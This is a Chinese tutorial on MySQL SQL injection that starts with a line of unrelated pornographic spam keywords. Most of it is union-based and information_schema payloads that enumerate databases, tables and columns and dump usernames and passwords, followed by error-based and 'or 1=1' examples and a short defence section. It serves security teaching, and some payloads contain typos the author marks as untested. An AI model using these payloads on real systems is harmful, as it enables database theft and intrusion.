欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

sql注入數(shù)據(jù)庫原理詳情介紹

 更新時間:2022年09月09日 10:15:59   作者:有勇氣的牛排  
這篇文章主要介紹了sql注入數(shù)據(jù)庫原理詳情介紹,文章圍繞主題展開詳細的內(nèi)容戒殺,具有一定的參考價值,需要的小伙伴可以參考一下,希望對你的學(xué)習(xí)有所幫助

1 介紹

SQL注入漏洞主要是由于,在請求的時候沒有做嚴格的過濾,導(dǎo)致傳入的語句被當做SQL語句被執(zhí)行,從而導(dǎo)致數(shù)據(jù)庫受損(被脫庫、刪除、甚至數(shù)據(jù)付權(quán)限淪陷)

2 一般步驟

SQL注入點探測:

判斷什么地方存在SQL注入點,通常在表單,文章查詢等與數(shù)據(jù)庫有關(guān)操作的頁面。

收集后臺數(shù)據(jù)庫信息:

不同的數(shù)據(jù)庫的注入方法、函數(shù)各不相同,因此注入前要判斷數(shù)據(jù)庫的類型。

如:

特殊字符、單引號:讓數(shù)據(jù)庫返回錯誤

函數(shù):

version()函數(shù):MSQL專用

1 and version()>0

猜測用戶名和密碼:

表名、字段名、字段數(shù)、用戶名和密碼。

查找 Web 后臺管理入口:

可以使用 目錄掃描工具

入侵and破壞:

  • 登錄后臺:上傳木馬、篡改網(wǎng)頁、竊取信息。
  • 進一步提權(quán):入侵Web服務(wù)器和數(shù)據(jù)庫服務(wù)器。

3 注入

測試數(shù)據(jù);

+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 從入門到精通(第2版)    |
| 9787115496003 | 虛擬化技術(shù)應(yīng)用與實踐                |
| 9787302510109 | 算法設(shè)計與分析(第4版)             |
| 9787503442490 | 心靈密碼                          |
| 9787503421884 | 雪狼                             |
| 9787539635835 | 龍頭老太                          |
+---------------+----------------------------------+

3 函數(shù)

3.1 常用的系統(tǒng)函數(shù)

函數(shù)作用
version()MySQL版本
user()數(shù)據(jù)庫用戶名
database()數(shù)據(jù)庫名
@@datadir數(shù)據(jù)庫路徑
@@version_complie_os操作系統(tǒng)版本

3.2 字符串連接函數(shù)

三大法寶:concat(),group_concat(),concat_ws()

3.2.1 concat() 函數(shù)

特點:concat(str1,str2,...)
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串,如果任何一個參數(shù)為NULL,則返回值為NULL,可以有一個或多個參數(shù)。

1. 不使用字符連接函數(shù):

select isbn,title from books limit 1;
+---------------+----------------------------------+
| isbn          | title                            |
+---------------+----------------------------------+
| 9787302458210 | SQL Server 從入門到精通(第2版)    |
+---------------+----------------------------------+

2.使用示例

一般我們都要用一個字符將各個項隔開,便于數(shù)據(jù)的查看

select concat(isbn,',',title) from books limit 1;
+------------------------------------------------+
| concat(isbn,',',title)                         |
+------------------------------------------------+
| 9787302458210,SQL Server 從入門到精通(第2版)    |
+------------------------------------------------+

3.2.2 concat_ws() 函數(shù)

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數(shù)是其它參數(shù)的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數(shù)。如果分隔符為 NULL,則結(jié)果為 NULL。函數(shù)會忽略任何分隔符參數(shù)后的 NULL 值。但是CONCAT_WS()不會忽略任何空字符串。 (然而會忽略所有的 NULL)。
特點:CONCAT_WS(separator,str1,str2,…)

使用示例

3.2.3 group_concat() 函數(shù)

GROUP_CONCAT函數(shù)返回一個字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。

select bid,author,group_concat(bid) from books where author in('金勇先','方兆祥 著') group by bid;

就不演示了,sql語句如同上面

4 注入

4.1 聯(lián)合查詢 union 注入

使用聯(lián)合查詢進行的前提是我們進行注入的頁面必須有顯示位。

1、使用union

payload:

v' union select username from member where id=1#%

select 必須有相同的列,且各列的數(shù)據(jù)也都相同,同時,每條 SELECT 語句中的列的順序必須相同。
聯(lián)合查詢可先在鏈接最后添加 order by X 基于隨意數(shù)字的注入,根據(jù)頁面的返回結(jié)果來判斷站點中的字段數(shù)目。

select bid,author from books union select username from users;

2、 payload:a' order by 4#%

select bid,author from books order by 4#%;

select bid,author from books order by 2#%;

3、得到主查詢由三個字段后,我們用union來做一個sql拼接。

pauload

a' union selec database(),user(),version()#%
select bid,author,title from books union selec database(),user(),version();

這里沒有測試通過

4.2 information_schema 注入

information_schema數(shù)據(jù)庫是MySQL5.0系統(tǒng)自帶的數(shù)據(jù)庫,其中保存著關(guān)于MySQL服務(wù)器所維護的所有其他數(shù)據(jù)庫的信息。

select group_concat(schema_name) from information_schema.schemata;

實際注入測試

5.2.1 獲取所有數(shù)據(jù)庫

類型:id=/wd=/name=

-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name) from information_schema.schemata

4.2.2 獲取指定數(shù)據(jù)庫的表

payload

a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='library'
select bid,author,title from books union select table_schema ,table_name,3 from information_schema.tables where table_schema='library';

4.2.3 獲取指定表的字段名

payload

a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
select bid,author,title from books  union select table_name,column_name,3 from information_schema.columns where table_name='users';

4.2.4 獲取字段值得內(nèi)容

payload

 a' union select username ,password,3 from users#%
select bid,author,title from books union select username,password,3 from users;

4.3 基于報錯信息注入

此方法是在頁面沒有顯示位,但是 echomysql_error() 函數(shù),在前端輸出了錯誤信息的時候方能使用。
優(yōu)點是注入速度快,缺點是語句較為復(fù)雜,而且只能用 limit 依次進行猜解??傮w來說,報錯注入其實是一種公式化的注入方法,主要用于在頁面中沒有顯示位,但是用 echomysql_error() 輸出了錯誤信息時使用。常見的select/insert/update/delete 注入都可以使用報錯方式來獲取信息。

4.3.1 三個常用報錯函數(shù)

updatexml(): 函數(shù)是MYSQL對XML文檔數(shù)據(jù)進行查詢和修改的XPATH函數(shù)
extractvalue() : 函數(shù)也是MYSQL對XML文檔數(shù)據(jù)進行查詢的XPATH函數(shù).
floor(): MYSQL中用來取整的函數(shù).

4.4 數(shù)字注入

or 1=1

4.5 搜索注入

在搜索框搜索的時候,成為搜索型。
數(shù)字型與字符型注入最大區(qū)別:數(shù)字型不需要單引號閉合,而字符串類型需要單引號閉合。

%xxx% or 1=1 #%'

5 sql注入防御

  • 對輸入進行嚴格的轉(zhuǎn)義和過濾
  • 使用參數(shù)化(Parameterized):目前有很多ORM框架會自動使用參數(shù)化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!

到此這篇關(guān)于sql注入數(shù)據(jù)庫原理詳情介紹的文章就介紹到這了,更多相關(guān)sql注入數(shù)據(jù)庫 內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評論